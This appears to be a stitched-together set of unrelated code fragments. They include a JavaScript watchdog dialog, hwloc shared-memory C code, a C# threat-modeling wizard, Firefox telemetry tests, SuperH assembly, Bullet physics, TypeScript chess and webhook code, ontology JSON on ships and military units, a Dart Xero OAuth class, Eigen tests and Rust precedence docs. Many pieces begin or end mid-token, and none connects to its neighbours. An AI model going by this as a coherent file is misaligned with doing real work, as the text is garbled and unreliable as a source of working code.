<input id=wgname style=float:right;width:240px maxlength=16 onkeyup=AddWatchdogUpdate()>
' + "Nombre" + '

';
            x += '
<input id=wgguid style=float:right;width:240px maxlength=36 onkeyup=AddWatchdogUpdate()>
' + addLink("ID del dispositivo", 'GenerateWatchdogGuid()') + '

';
            x += '
<input id=wgstart style=float:right;width:240px maxlength=8 placeholder=3600 onkeyup=AddWatchdogUpdate()>
' + "Inicio (segundos)" + '

';
            x += '
<input id=wgtimeout style=float:right;width:240px maxlength=8 placeholder=60 onkeyup=AddWatchdogUpdate()>
' + "Tiempo de espera (segundos)" + '

';
            setDialogMode(11, "Agregar perro guardián", 3, AddWatchdogOk, x);
            AddWatchdogUpdate();
        }

        function GenerateWatchdogGuid() {
            var i, guid = '';
            for (i = 0; i < 16; i++) { guid += String.fromCharCode(random(255)); }
            Q('wgguid').value = guidToStr(rstr2hex(guid));
            AddWatchdogUpdate();
        }

        function AddWatchdogUpdate() {
            var ok = (Q('wgstart').value == '' || parseInt(Q('wgstart').value) > 0) && (Q('wgtimeout').value == '' || parseInt(Q('wgtimeout').value) > 0);
            var gc = 0, g = Q('wgguid').value.toLowerCase();
            for (var i = 0; i < g.length; i


ILED)
    return -1;
  if (mmap_res != mmap_address) {
    errno = EBUSY;
    goto out_with_mmap;
  }

  old = (hwloc_topology_t)((char*)mmap_address + sizeof(header));
  if (hwloc_topology_abi_check(old) < 0) {
    errno = EINVAL;
    goto out_with_mmap;
  }

  /* enforced by dup() inside shmem_topology_write() */
  assert(old->is_loaded);
  assert(old->backends == NULL);
  assert(old->get_pci_busid_cpuset_backend == NULL);

  hwloc_components_init();

  /* duplicate the topology object so that we ca change use local binding_hooks
   * (those are likely not mapped at the same location in both processes).
   */
  new = malloc(sizeof(struct hwloc_topology));
  if (!new)
    goto out_with_components;
  memcpy(new, old, sizeof(*old));
  new->tma = NULL;
  new->adopted_shmem_addr = mmap_address;
  new->adopted_shmem_length = length;
  new->topology_abi = HWLOC_TOPOLOGY_ABI;
  /* setting binding hooks will touch support arrays, so duplicate them too.
   * could avoid that by requesting a R/W mmap
   */
  new->support.discovery = malloc(sizeof(*new->support.discovery));
  new->support.cpubind = malloc(sizeof(*new->support.cpubind));
  new->support.membind = malloc(sizeof(*new->support.membind));
  new->support.misc = malloc(sizeof(*new->support.misc));
  if (!new->support.discovery || !new->support.cpubind || !new->support.membind || !new->support.misc)
    goto out_with_support;
  memcpy(new->support.discovery, old->support.discovery, sizeof(*new->support.discovery));
  memcpy(new->support.cpubind, old->support.cpubind, sizeof(*new->support.cpubind));
  memcpy(new->support.membind, old->support.membind, sizeof(*new->support.membind));
  memcpy(new->support.misc, old->support.misc, sizeof(*new->support.misc));
  hwloc_set_binding_hooks(new);
  /* clear userdata callbacks pointing to the writer process' functions */
  new->userdata_export_cb = NULL;
  new->userdata_import_cb = NULL;

#ifndef HWLOC_DEBUG
  if (getenv("HWLOC_DEBUG_CHECK"))
#endif
    hwloc_topology_check(new);

  *topologyp = new;
  return 0;

 out_with_support:
  free(new->support.discovery);
  free(new->support.cpubind);
  free(new->support.membind);
  free(new->support.misc);
  free(new);
 out_with_components:
  hwloc_components_fini();
 out_with_mmap:
  munmap(mmap_res, length);
  return -1;
}

void
hwloc__topology_disadopt(hwloc_topology_t topology)
{
  hwloc_components_fini();
  munmap(topology->adopted_shmem_addr, topology->adopted_shmem_length);
  free(topology->support.discovery);
  free(topology->support.cpubind);
  free(topology->support.membind);
  free(topology->support.misc);
  free(topology);
}

#else /* HWLOC_WIN_SYS */

int
hwloc_shmem_topology_get_length(hwloc_topology_t topology __hwloc_attribute_unused,
				size_t *lengthp __hwloc_attribute_unused,
				unsigned long flags __hwloc_attribute_unused)
{
  errno = ENOSYS;
  return -1;
}

int
hwloc_shmem_topology_write(hwloc_topology_t topology __hwloc_attribute_unused,
			   int fd __hwloc_attribute_unused, hwloc_uint64_t fileoffset __hwloc_attribute_unused,
			   void *mmap_address __hwloc_attribute_unused, size_t length __hwloc_attribute_unused,
			   unsigned long flags __hwloc_attribute_unused)
{
  errno = ENOSYS;
  return -1;
}

int
hwloc_shmem_topology_adopt(hwloc_topology_t *topologyp __hwloc_attribute_unused,
			   int fd __hwloc_attribute_unused, hwloc_uint64_t fileoffset __hwloc_attribute_unused,
			   void *mmap_address __hwloc_attribute_unused, size_t length __hwloc_attribute_unused,
			   unsigned long flags __hwloc_attribute_unused)
{
  errno = ENOSYS;
  return -1;
}

void
hwloc__topology_disadopt(hwloc_topology_t topology __hwloc_attribute_unused)
{
}

#endif /* HWLOC_WIN_SYS */


ate.Checked ||
                                                  _fullyWeaknesses.CheckState == CheckState.Checked ||
                                                  _fullyMitigations.CheckState == CheckState.Checked ||
                                                  _fullyThreatActors.CheckState == CheckState.Checked ||
                                                  _schemas.CheckedItems.Count > 0 ||
                                                  _itemTemplates.CheckedItems.Count > 0 ||
                                                  _threatTypes.CheckedItems.Count > 0 ||
                                                  _weaknesses.CheckedItems.Count > 0 ||
                                                  (e.NewValue == CheckState.Checked || _mitigations.CheckedItems.Count > 1) ||
                                                  _threatActors.CheckedItems.Count > 0) ?
                eWizardButtonState.True : eWizardButtonState.False;
        }
        #endregion

        private void _name_TextChanged(object sender, EventArgs e)
        {
            _pageTMProperties.NextButtonEnabled = string.IsNullOrWhiteSpace(_name.Text)
                ? eWizardButtonState.False
                : eWizardButtonState.True;
        }

        private void _description_LinkClicked(object sender, LinkClickedEventArgs e)
        {
            try
            {
                if (Regex.IsMatch(e.LinkText,
                    @"\b(https?|ftp|file)://[-A-Z0-9+&@#/%?=~_|$!:,.;]*[A-Z0-9+&@#/%=~_|$]",
                    RegexOptions.IgnoreCase))
                {
#pragma warning disable SCS0001 // Command injection possible in {1} argument passed to '{0}'
                    Process.Start(e.LinkText);
#pragma warning restore SCS0001 // Command injection possible in {1} argument passed to '{0}'
                }
            }
            catch
            {
                // Ignore the error because the link is simply not trusted.
            }
        }
    }
}


  h.add(key, valid);
  let snapshot = h.snapshot()[key];
  Assert.equal(snapshot.sum, 6);
  Assert.deepEqual(Object.values(snapshot.values), [3, 2, 2, 0]);
});

add_task(async function test_keyed_boolean_multiple_samples() {
  let valid = [true, false, 0, 1, 2];
  let invalid = ["", "0", "1", ",2", "true", "false", "random"];
  let key = "somekey";

  let h = Telemetry.getKeyedHistogramById("TELEMETRY_TEST_KEYED_BOOLEAN");
  h.clear();

  // At least one invalid parameter, so no accumulation should happen here
  // Valid values in front of invalid.
  h.add(key, valid.concat(invalid));
  let s1 = h.snapshot();
  Assert.ok(!(key in s1));

  h.add(key, valid);
  let s = h.snapshot()[key];
  Assert.deepEqual(s.values, { 0: 2, 1: 3, 2: 0 });
  Assert.equal(s.sum, 3);
});

add_task(async function test_keyed_linear_multiple_samples() {
  // According to telemetry.mozilla.org/histogram-simulator, bucket at
  // index 1 of TELEMETRY_TEST_LINEAR has max value of 3.13K
  let valid = [0, 1, 5, 10, 268450000, 268450001, Math.pow(2, 31) + 1];
  let invalid = ["", "0", "1", "random"];
  let key = "somestring";

  let h = Telemetry.getKeyedHistogramById("TELEMETRY_TEST_KEYED_LINEAR");
  h.clear();

  // At least one invalid paramater, so no accumulations.
  // Valid values in front of invalid.
  h.add(key, valid.concat(invalid));
  let s1 = h.snapshot();
  Assert.ok(!(key in s1));

  h.add(key, valid);
  let s2 = h.snapshot()[key];
  // Values >= INT32_MAX are accumulated as INT32_MAX - 1
  Assert.equal(s2.sum, valid.reduce((acc, cur) => acc + cur) - 3);
  Assert.deepEqual(s2.range, [1, 250000]);
  Assert.deepEqual(s2.values, { 0: 1, 1: 3, 250000: 3 });
});

add_task(async function test_non_array_non_string_obj() {
  let invalid_obj = {
    prop1: "someValue",
    prop2: "someOtherValue",
  };
  let key = "someString";

  let h = Telemetry.getKeyedHistogramById("TELEMETRY_TEST_KEYED_LINEAR");
  h.clear();

  h.add(key, invalid_obj);
  Assert.equal(h.keys().length, 0);
});

add_task(
  {
    skip_if: () => gIsAndroid,
  },
  async function test_productSpecificHistograms() {
    const DEFAULT_PRODUCTS_HISTOGRAM = "TELEMETRY_TEST_DEFAULT_PRODUCTS";
    const DESKTOP_ONLY_HISTOGRAM = "TELEMETRY_TEST_DESKTOP_ONLY";
    const MULTIPRODUCT_HISTOGRAM = "TELEMETRY_TEST_MULTIPRODUCT";
    const MOBILE_ONLY_HISTOGRAM = "TELEMETRY_TEST_MOBILE_ONLY";

    var default_histo = Telemetry.getHistogramById(DEFAULT_PRODUCTS_HISTOGRAM);
    var desktop_histo = Telemetry.getHistogramById(DESKTOP_ONLY_HISTOGRAM);
    var multiproduct_histo = Telemetry.getHistogramById(MULTIPRODUCT_HISTOGRAM);
    var mobile_histo = Telemetry.getHistogramById(MOBILE_ONLY_HISTOGRAM);
    default_histo.clear();
    desktop_histo.clear();
    multiproduct_histo.clear();
    mobile_histo.clear();

    default_histo.ad


import heapq

ramen_stock = 4
supply_dates = [4, 10, 15]
supply_supplies = [20, 5, 10]
supply_recover_k = 30

def get_minimum_count_of_overseas_supply(stock, dates, supplies, k):
    answer = 0
    last_added_data_index = 0
    max_heap = []
    while stock <= k:
        while last_added_data_index < len(dates) and dates[last_added_data_index] <= stock :
            heapq.heappush(max_heap, supplies[last_added_data_index] * -1)
            last_added_data_index += 1

        supply = heapq.heappop(max_heap) * -1
        stock += supply
        answer += 1
    return answer

print(get_minimum_count_of_overseas_supply(ramen_stock, supply_dates, supply_supplies, supply_recover_k))
print("정답 = 2 / 현재 풀이 값 = ", get_minimum_count_of_overseas_supply(4, [4, 10, 15], [20, 5, 10], 30))
print("정답 = 4 / 현재 풀이 값 = ", get_minimum_count_of_overseas_supply(4, [4, 10, 15, 20], [20, 5, 10, 5], 40))
print("정답 = 1 / 현재 풀이 값 = ", get_minimum_count_of_overseas_supply(2, [1, 10], [10, 100], 11))


k top
	mov	r1,r9		! r9 = interrupt vector
	! restore previous stack
	mov.l	@r8+,r2
	mov.l	@r8+,r0
	mov.l	@r8+,r1
	bra	2f
	 movml.l r2,@-r15
1:
	! in kernel exception
	mov	r15,r2
	add	#-((OFF_TRA + 4) - OFF_PC) + 5*4,r15
	movmu.l	r3,@-r15
	mov	r2,r8		! r8 = previous stack top
	mov	r1,r9		! r9 = interrupt vector
	! restore exception frame & regs
	mov.l	@r8+,r2		! old R2
	mov.l	@r8+,r0		! old R0
	mov.l	@r8+,r1		! old R1
	mov.l	@r8+,r10	! old PC
	mov.l	@r8+,r11	! old SR
	movml.l	r2,@-r15
	mov.l	r10,@(OFF_PC,r15)
	mov.l	r11,@(OFF_SR,r15)
	mov.l	r8,@(OFF_SP,r15)	! save old sp
	mov	r15,r8
	add	#OFF_TRA + 4,r8
	mov.l	r9,@-r8
	sts.l	macl,@-r8
	sts.l	mach,@-r8
	stc.l	gbr,@-r8
	add	#-4,r8
	sts.l	pr,@-r8
2:
	! dispatch exception / interrupt
	mov	#64,r8
	cmp/hs	r8,r9
	bt	interrupt_entry	! vec >= 64 is interrupt
	mov	#31,r8
	cmp/hs	r8,r9
	bt	trap_entry	! 64 > vec >= 31  is trap

	mov.l	4f,r8
	mov	r9,r4
	shll2	r9
	add	r9,r8
	mov.l	@r8,r8		! exception handler address
	tst	r8,r8
	bf	3f
	mov.l	8f,r8		! unhandled exception
3:
	mov.l	5f,r10
	jmp	@r8
	 lds	r10,pr

interrupt_entry:
	mov	r9,r4
	mov	r15,r5
	mov.l	7f,r8
	mov.l	6f,r9
	jmp	@r8
	 lds	r9,pr

	.align	2
4:	.long	exception_handling_table
5:	.long	ret_from_exception
6:	.long	ret_from_irq
7:	.long	do_IRQ
8:	.long	exception_error

trap_entry:
	mov	#0x30,r8
	cmp/ge	r8,r9		! vector 0x1f-0x2f is systemcall
	bt	1f
	mov     #0x1f,r9	! convert to unified SH2/3/4 trap number
1:
	shll2	r9			! TRA
	bra	system_call	! jump common systemcall entry
	 mov	r9,r8

#if defined(CONFIG_SH_STANDARD_BIOS)
	/* Unwind the stack and jmp to the debug entry */
ENTRY(sh_bios_handler)
	mov	r15,r0
	add	#(22-4)*4-4,r0
	ldc.l	@r0+,gbr
	lds.l	@r0+,mach
	lds.l	@r0+,macl
	mov	r15,r0
	mov.l	@(OFF_SP,r0),r1
	mov.l	@(OFF_SR,r2),r3
	mov.l	r3,@-r1
	mov.l	@(OFF_SP,r2),r3
	mov.l	r3,@-r1
	mov	r15,r0
	add	#(22-4)*4


 is not required.
 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
 3. This notice may not be removed or altered from any source distribution.
 */

#include "btDeformableBackwardEulerObjective.h"
#include "btPreconditioner.h"
#include "LinearMath/btQuickprof.h"

btDeformableBackwardEulerObjective::btDeformableBackwardEulerObjective(btAlignedObjectArray<btSoftBody*>& softBodies, const TVStack& backup_v)
	: m_softBodies(softBodies), m_projection(softBodies), m_backupVelocity(backup_v), m_implicit(false)
{
	m_massPreconditioner = new MassPreconditioner(m_softBodies);
	m_KKTPreconditioner = new KKTPreconditioner(m_softBodies, m_projection, m_lf, m_dt, m_implicit);
	m_preconditioner = m_KKTPreconditioner;
}

btDeformableBackwardEulerObjective::~btDeformableBackwardEulerObjective()
{
	delete m_KKTPreconditioner;
	delete m_massPreconditioner;
}

void btDeformableBackwardEulerObjective::reinitialize(bool nodeUpdated, btScalar dt)
{
	BT_PROFILE("reinitialize");
	if (dt > 0)
	{
		setDt(dt);
	}
	if (nodeUpdated)
	{
		updateId();
	}
	for (int i = 0; i < m_lf.size(); ++i)
	{
		m_lf[i]->reinitialize(nodeUpdated);
	}
	btMatrix3x3 I;
	I.setIdentity();
	for (int i = 0; i < m_softBodies.size(); ++i)
	{
		btSoftBody* psb = m_softBodies[i];
		for (int j = 0; j < psb->m_nodes.size(); ++j)
		{
			if (psb->m_nodes[j].m_im > 0)
				psb->m_nodes[j].m_effectiveMass = I * (1.0 / psb->m_nodes[j].m_im);
		}
	}
	m_projection.reinitialize(nodeUpdated);
	//    m_preconditioner->reinitialize(nodeUpdated);
}

void btDeformableBackwardEulerObjective::setDt(btScalar dt)
{
	m_dt = dt;
}

void btDeformableBackwardEulerObjective::multiply(const TVStack& x, TVStack& b) const
{
	BT_PROFILE("multiply");
	// add in the mass term
	size_t counter = 0;
	for (int i = 0; i < m_softBodies.size(); ++i)
	{
		btSoftBody* psb = m_softBodies[i];
		for (int j = 0; j < psb->m_nodes.size(); ++j)
		{
			const btSoftBody::Node& node = psb->m_nodes[j];
			b[counter] = (node.m_im == 0) ? btVector3(0, 0, 0) : x[counter] / node.m_im;
			++counter;
		}
	}

	for (int i = 0; i < m_lf.size(); ++i)
	{
		// add damping matrix
		m_lf[i]->addScaledDampingForceDifferential(-m_dt, x, b);
        // Always integrate picking force implicitly for stability.
        if (m_implicit || m_lf[i]->getForceType() == BT_MOUSE_PICKING_FORCE)
		{


)) {
					if(name) widget.addClass(name);
				}
			}
			if(attrs.flex) widget.flex = attrs.flex;
			if(attrs.id) widget.id = attrs.id;
			if(attrs.title) widget.title.label = attrs.title;
		}

		if(child && widget.tsxChildren) widget.tsxChildren(children);

		return widget;
	}
}
const myName: string = 'Bulandent'

const myAge: number = 25

// 模板字符串
const sentence: string = `Hello, my name is ${myName},
	I'll be ${myAge + 1} years old next month.`
import {ColourHelper} from "./helpers/colour-helper"
import {Dead} from "./player/dead"
import {Square} from "./square"

export class Board {
    origin: Square;
    target: Square;
    testing: boolean;
    squares: Square[];
    colourHelper = new ColourHelper();

    createSquares(): void {
        this.squares = [].slice
            .call([].slice
                .call(document.body.getElementsByTagName("div"))
                .filter(e => e.className.indexOf("board-") === 0)[0].children)
            .reduce((es, a) => {
                [].slice
                    .call(a.children)
                    .filter(e => e.className.indexOf("square-") === 0)
                    .forEach(e => es.push(e));
                return es;
            }, [])
            .map(e => new Square(this, e))
            .filter(s => s.valid);
    }

    cleanColouredSquares(): void {
        this.squares
            .map(s => s.element)
            .filter(e =>
                [].slice
                    .call(e.classList)
                    .some(c => c.indexOf("cp-mod") !== -1))
            .forEach(e => {
                e.style.backgroundColor = null;
                e.classList.remove("cp-mod");
            });
    }

    setCandidateSquares(): void {
        this.squares
            .filter(s => s.hasPiece())
            .filter(s => !s.piece.isDead())
            .map(s => s.piece)
            .forEach(p => p.createCandidates());
    }

    colouriseSquaresWithHangingPieces(): Board {
        const squares = this.squares
            .filter(s => s.hasPiece())
            .filter(s => s.isHanging())
            .filter(s => !s.isEnclosed())
            .filter(s => !s.piece.isDead());
        squares
            .filter(s => !s.piece.player.isPlaying())
            .forEach(s => {
                s.element.classList.add("cp-mod");
                s.element.style.backgroundColor =
                    this.colourHelper.getColour(s.element, true);
            });
        squares
            .filter(s => s.piece.player.isPlaying())
            .forEach(s => {
                s.element.classList.add("cp-mod");
                s.element.style.backgroundColor =
                    this.colourHelper.getColour(s.element, false);
            });
        return this;
    }

    constructor() {
        this.testing = true;
        this.createSquares();
        this.cleanColouredSquares();
        this.setCandidateSquares();
    }
}
import { ObjectType, Field, ID } from "@nestjs/graphql";
import { Entity, BaseEntity, PrimaryGeneratedColumn, Column, ManyToOne, CreateDateColumn, UpdateDateColumn, OneToMany } from 'typeorm';
import { Discussion, User, Group, Like } from '..';


",
        "type" : "label"
      } ],
      "alternative_label" : [ {
        "identifier" : "alternative_label",
        "language" : "undefined",
        "value" : "Dunu",
        "type" : "label"
      }, {
        "identifier" : "alternative_label",
        "language" : "undefined",
        "value" : "Dunu-class Open Barge",
        "type" : "label"
      } ]
    },
    "label" : {
      "IRI-based" : "Dunu_YC",
      "undefined" : "Dunu YC"
    },
    "id" : "5383",
    "superClasses" : [ "1078" ]
  }, {
    "iri" : "http://opensextant.org/ontology/FacilityOntology/PeatCuttingArea",
    "baseIri" : "http://opensextant.org/ontology/FacilityOntology",
    "instances" : 0,
    "annotations" : {
      "definition" : [ {
        "identifier" : "definition",
        "language" : "undefined",
        "value" : "area where peat is harvested",
        "type" : "label"
      } ]
    },
    "label" : {
      "IRI-based" : "PeatCuttingArea",
      "undefined" : "Peat Cutting Area"
    },
    "attributes" : [ "external" ],
    "id" : "5247",
    "superClasses" : [ "989" ]
  }, {
    "iri" : "http://opensextant.org/ontology/maritime/china_maritime/Zhaofeng_WPS",
    "baseIri" : "http://opensextant.org/ontology/maritime/china_maritime",
    "instances" : 0,
    "annotations" : {
      "equipment_code" : [ {
        "identifier" : "equipment_code",
        "language" : "undefined",
        "value" : "CGJZI",
        "type" : "label"
      } ],
      "naval_code" : [ {
        "identifier" : "naval_code",
        "language" : "undefined",
        "value" : "WPS",
        "type" : "label"
      } ],
      "definition" : [ {
        "identifier" : "definition",
        "language" : "undefined",
        "value" : "The Zhaofeng WPS is a patrol ship in service with the China Coast Guard",
        "type" : "label"
      } ],
      "alternative_label" : [ {
        "identifier" : "alternative_label",
        "language" : "undefined",
        "value" : "Zhaofeng",
        "type" : "label"
      }, {
        "identifier" : "alternative_label",
        "language" : "undefined",
        "value" : "Zhaofeng-class patrol ship (Coast Guard)",
        "type" : "label"
      } ]
    },
    "label" : {
      "IRI-based" : "Zhaofeng_WPS",
      "undefined" : "Zhaofeng WPS"
    },
    "id" : "4988",
    "superClasses" : [ "52" ]
  }, {
    "iri" : "http://opensextant.org/ontology/MilitaryOrganizationOntology/AmphibiousInfantryUnit",
    "baseIri" : "http://opensextant.org/ontology/MilitaryOrganizationOntology",
    "instances" : 0,
    "label" : {
      "IRI-based" : "AmphibiousInfantryUnit",
      "undefined" : "Amphibious Infantry Unit"
    },
    "attributes" : [ "external" ],
    "id" : "2534",
    "superClasses" : [ "1054" ]
  }, {
    "iri" : "http://opensexta


Service.Definition<TestParameterMapping, TestServiceMapping> = {
  'bazzer': ({ parameter }) => (input) => input + parameter('static.baz'),
  'foobar': ({ parameter }) => () => `assert:service(${parameter('param.foo')} && ${parameter('param.bar')})`,
};

// type TestContainer = PublicServiceContainer<TestServiceMapping, TestParameterMapping, TestEnvironmentMapping>;

const ignore = {} as any;

describe('src/container/internal.ts', (): void => {
  describe('InternalContainer', () => {
    describe('environment', (): void => {
      it('with valid environment map, return value', async(): Promise<void> => {
        const container = new InternalContainer(ignore, ignore, env);

        expect(container.environment('ENV_FOO')).toEqual('assert:environment:foo');
        expect(container.environment('ENV_BAR')).toEqual('assert:environment:bar');
      });
    });

    describe('parameter', (): void => {
      it('with valid parameter map, return value', async(): Promise<void> => {
        const container = new InternalContainer(params, ignore, env);

        expect(container.parameter('param.foo')).toEqual('assert:environment:foo');
        expect(container.parameter('param.bar')).toEqual('assert:parameter(assert:environment:bar)');
        expect(container.parameter('static.baz')).toEqual(1234);
      });
    });

    describe('service', (): void => {
      it('with valid service map, return value', async(): Promise<void> => {
        const container = new InternalContainer(params, services, env);

        expect(container.service('bazzer')(10000)).toBe(11234);
        expect(container.service('foobar')()).toBe('assert:service(assert:environment:foo && assert:parameter(assert:environment:bar))');
      });
    });
  });
});
// File handles guilded webhooks.

/**
 * Sends a message to the guilded webhook.
 * @param {string} message The message to be sent
 */
async function sendGuildedMessage(message?:string) {
    let streamerName = ApiHandle.getStreamerName();
    let guildedMessage = message || CacheStore.get("guildedWebhookMessage", "$streamer just went live on https://glimesh.tv/$streamer");
    guildedMessage = guildedMessage.split("$streamer").join(streamerName);
    let streamInfo = await ApiHandle.getStreamWebhook(streamerName);
    let streamThumbnail:string, streamTitle:string;
    if (streamInfo) {
        streamTitle = streamInfo[0];
        streamThumbnail = streamInfo[1];
    } else {
        streamTitle = "";
        streamThumbnail = "";
    }
    if (checkIfEnabled()) {
        let body = buildGuildedMessage([streamThumbnail, streamTitle, streamerName, guildedMessage]);
        await fetch(CacheStore.get("guildedWebhookURL", ""), {method: "POST", body: body, headers: { "Content-Type": "application/json" }});
        console.log("Finished Guilded webhook");
        hasSentWebhooks = true;
    } else {
        return false
    }
}

/**
 * Checks if the webhook is enabled and that a URL exists
 */
function checkIfEnabled() {
    if (CacheStore.get("guildedWebhookEnabled", false) && CacheStore.get("guildedWebhookURL", "")) {
        return true;
    } else {
        return false;
    }
}

function testGuildedMessage() {
    sendGuildedMessage("Test of Guilded Webhook");
}

/**
 * Builds the message to be sent to the webhook.
 */
function buildGuildedMessage([thumbnail, title, streamer, guildedMessage]): string {
    if (thumbnail) {
        let body = {


rams({
    required this.sendPort,
    required this.authHeaders,
    required this.photos,
  });
}
/*
 Copyright © OnePub IP Pty Ltd. S. Brett Sutton. All Rights Reserved.

 Note: This software is licensed under the GNU General Public License,
         with the following exceptions:
   • Permitted for internal use within your own business or organization only.
   • Any external distribution, resale, or incorporation into products
      for third parties is strictly prohibited.

 See the full license on GitHub:
 https://github.com/bsutton/hmb/blob/main/LICENSE
*/

import 'dart:async';

import 'package:flutter_secure_storage/flutter_secure_storage.dart';
import 'package:oauth2/oauth2.dart' as oauth2;
import 'package:strings/strings.dart';
import 'package:url_launcher/url_launcher.dart';

import '../../dao/dao_system.dart';
import '../../ui/widgets/hmb_toast.dart';
import '../../util/dart/exceptions.dart';
import 'redirect_handler.dart';

/// Thrown when Xero OAuth is misused or not fully initialized
class XeroException implements Exception {
  final String message;

  XeroException(this.message);

  @override
  String toString() => 'XeroException: $message';
}

/// Holds the Xero clientId/clientSecret from your database/system config.
class XeroSecretIdentity {
  final String clientId;
  final String clientSecret;

  XeroSecretIdentity({required this.clientId, required this.clientSecret});
}

/// Manages Xero OAuth2 login, refresh, and logout.
class XeroAuth2 {
  /// somewhere to store credentials so we don't have to
  /// auth every time
  static const _credentialsKey = 'xero_credentials';
  final _secureStorage = const FlutterSecureStorage();

  /// The path suffix for finalizing OAuth.
  /// Desktop will use `http://localhost:<port>/xero/auth_complete`
  /// Mobile deep link will use https://ivanhoehandyman.com.au/xero/auth_complete
  static const redirectPath = 'xero/auth_complete';

  /// A static reference to the singleton instance.
  static XeroAuth2? _instance;

  /// The OAuth2 client once logged in.
  oauth2.Client? client;

  /// The authorization code grant flow reference.
  oauth2.AuthorizationCodeGrant? grant;

  factory XeroAuth2() {
    _instance ??= XeroAuth2._();
    return _instance!;
  }

  XeroAuth2._();

  /// Access token getter, throws if not valid.
  String get accessToken {
    if (client == null || client!.credentials.isExpired) {
      throw XeroException('Invalid state. Call login() first.');
    }
    return client!.credentials.accessToken;
  }

  /// Tries to log in to Xero:
  /// 1) Reuses a valid token, if available.
  /// 2) Otherwise, tries to refresh if expired.
  /// 3) Otherwise, does a full OAuth flow (desktop=local
  /// server, mobile=app link).
  Future<void> login() async {
    if (await isLoggedIn()) {
      return;
    }
    log('No valid saved credentials, starting full OAuth flow.');

    final loginComplete = Completer<void>();

    final credentials = await _fetchSecretIdentity();

    final authorizationEndpoint = Uri.parse(
      'https://login.xero.com/identity/connect/authorize',
    );
    final tokenEndpoint = Uri.parse('https://identity.xero.com/connect/token');

    final redirectHandler = initRedirectHandler(); // mobile or desktop

    final redirectUri = redirectHandler.redirectUri;

    grant = oauth2.AuthorizationCodeGrant(
      credentials.clientId,
      authorizationEndpoint,
      tokenEndpoint,
      secret: credentials.clientSecret,
    );

    final authorizationUrl =


; j < cols; j++ ) {
      VERIFY_IS_APPROX(m1_r(i, j), m1(rows - 1 - i, cols - 1 - j));
    }
  }

  Reverse<MatrixType> m1_rd(m1);
  // Verify that a Reverse default (in both directions) of an expression works
  for ( int i = 0; i < rows; i++ ) {
    for ( int j = 0; j < cols; j++ ) {
      VERIFY_IS_APPROX(m1_rd(i, j), m1(rows - 1 - i, cols - 1 - j));
    }
  }

  Reverse<MatrixType, BothDirections> m1_rb(m1);
  // Verify that a Reverse in both directions of an expression works
  for ( int i = 0; i < rows; i++ ) {
    for ( int j = 0; j < cols; j++ ) {
      VERIFY_IS_APPROX(m1_rb(i, j), m1(rows - 1 - i, cols - 1 - j));
    }
  }

  Reverse<MatrixType, Vertical> m1_rv(m1);
  // Verify that a Reverse in the vertical directions of an expression works
  for ( int i = 0; i < rows; i++ ) {
    for ( int j = 0; j < cols; j++ ) {
      VERIFY_IS_APPROX(m1_rv(i, j), m1(rows - 1 - i, j));
    }
  }

  Reverse<MatrixType, Horizontal> m1_rh(m1);
  // Verify that a Reverse in the horizontal directions of an expression works
  for ( int i = 0; i < rows; i++ ) {
    for ( int j = 0; j < cols; j++ ) {
      VERIFY_IS_APPROX(m1_rh(i, j), m1(i, cols - 1 - j));
    }
  }

  VectorType v1_r = v1.reverse();
  // Verify that a VectorType::reverse() of an expression works
  for ( int i = 0; i < rows; i++ ) {
    VERIFY_IS_APPROX(v1_r(i), v1(rows - 1 - i));
  }

  MatrixType m1_cr = m1.colwise().reverse();
  // Verify that PartialRedux::reverse() works (for colwise())
  for ( int i = 0; i < rows; i++ ) {
    for ( int j = 0; j < cols; j++ ) {
      VERIFY_IS_APPROX(m1_cr(i, j), m1(rows - 1 - i, j));
    }
  }

  MatrixType m1_rr = m1.rowwise().reverse();
  // Verify that PartialRedux::reverse() works (for rowwise())
  for ( int i = 0; i < rows; i++ ) {
    for ( int j = 0; j < cols; j++ ) {
      VERIFY_IS_APPROX(m1_rr(i, j), m1(i, cols - 1 - j));
    }
  }

  Scalar x = internal::random<Scalar>();

  Index r = internal::random<Index>(0, rows-1),
        c = internal::random<Index>(0, cols-1);

  m1.reverse()(r, c) = x;
  VERIFY_IS_APPROX(x, m1(rows - 1 - r, cols - 1 - c));

  /*
  m1.colwise().reverse()(r, c) = x;
  VERIFY_IS_APPROX(x, m1(rows - 1 - r, c));

  m1.rowwise().reverse()(r, c) = x;
  VERIFY_IS_APPROX(x, m1(r, cols - 1 - c));
  */
}

void test_array_reverse()
{
  for(int i = 0; i < g_repeat; i++) {
    CALL_SUBTEST_1( reverse(Matrix<float, 1, 1>()) );
    CALL_SUBTEST_2( reverse(Matrix2f()) );
    CALL_SUBTEST_3( reverse(Matrix4f()) );
    CALL_SUBTEST_4( reverse(Matrix4d()) );
    CALL_SUBTEST_5( reverse(MatrixXcf(3, 3)) );


tive,
/// which means that `a + b + c` is the same as `(a + b) + c`. Since the left
/// one binds first, it's 'left' associative.
///
/// An example of a right-associative operator is the `->` used for functions
/// types. A type like `a -> b -> c` is parsed as `a -> (b -> c)`, i.e. a
/// function which returns a function.
///
/// You can also [Disallow][Associativity::Disallow] associativity for an
/// operator. What this means is that operators of that precedence cannot be
/// used in a context where the associativity would be needed determine the
/// correct parse. This is useful for operators which are more about side
/// effect, such as assignment, where the order may not be clear. For example,
/// we don't want to allow multiple assignment, e.g. `a = b = c`.
///
/// Usually math operators are [`Left`][Associativity::Left] aligned. Examples
/// of right-associative operators are exponentiation, or the `->` in function
/// types.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Associativity {
    Left,
    Right,
    Disallow,
}

/// The precedence of an operator.
///
/// When multiple operators are used, precedence is how we decide which one
/// 'happens first'. For example, `a + b * c` is read as the same as `a + (b *
/// c)` because the `*` has higher precedence
///
/// This is really the same thing as PEDMAS but extended to more symbols.
#[derive(Debug, Clone, Copy, PartialEq, PartialOrd)]
pub struct Precedence(u8);

impl Precedence {
    /// The highest possible precedence.
    pub const MAX: Precedence = Precedence(16);

    /// The lowest possible precedence.
    pub const MIN: Precedence = Precedence(0);

    /// The next higher precedence.
    pub fn next(self) -> Self {
        if self == Precedence::MAX {
            panic!("Precedence overflow!");
        }

        Precedence(self.0 + 1)
    }
}

/// Information about how an operator has been defined for use. Some operators
/// can be used in different ways, such as `-a` and `a - b`. Some are even all
/// three, such as [Rust's range expressions][range] `..`.
///
/// [range]: https://doc.rust-lang.org/reference/expressions/range-expr.html
#[derive(Debug, Default, Clone, Copy)]
struct Fixity {
    prefix: bool,
    postfix: bool,
    infix: Option<(Associativity, Precedence)>,
}

impl Fixity {
    /// Is the operator defined for use as prefix?
    #[inline]
    fn prefix(&self) -> bool {
        self.prefix
    }

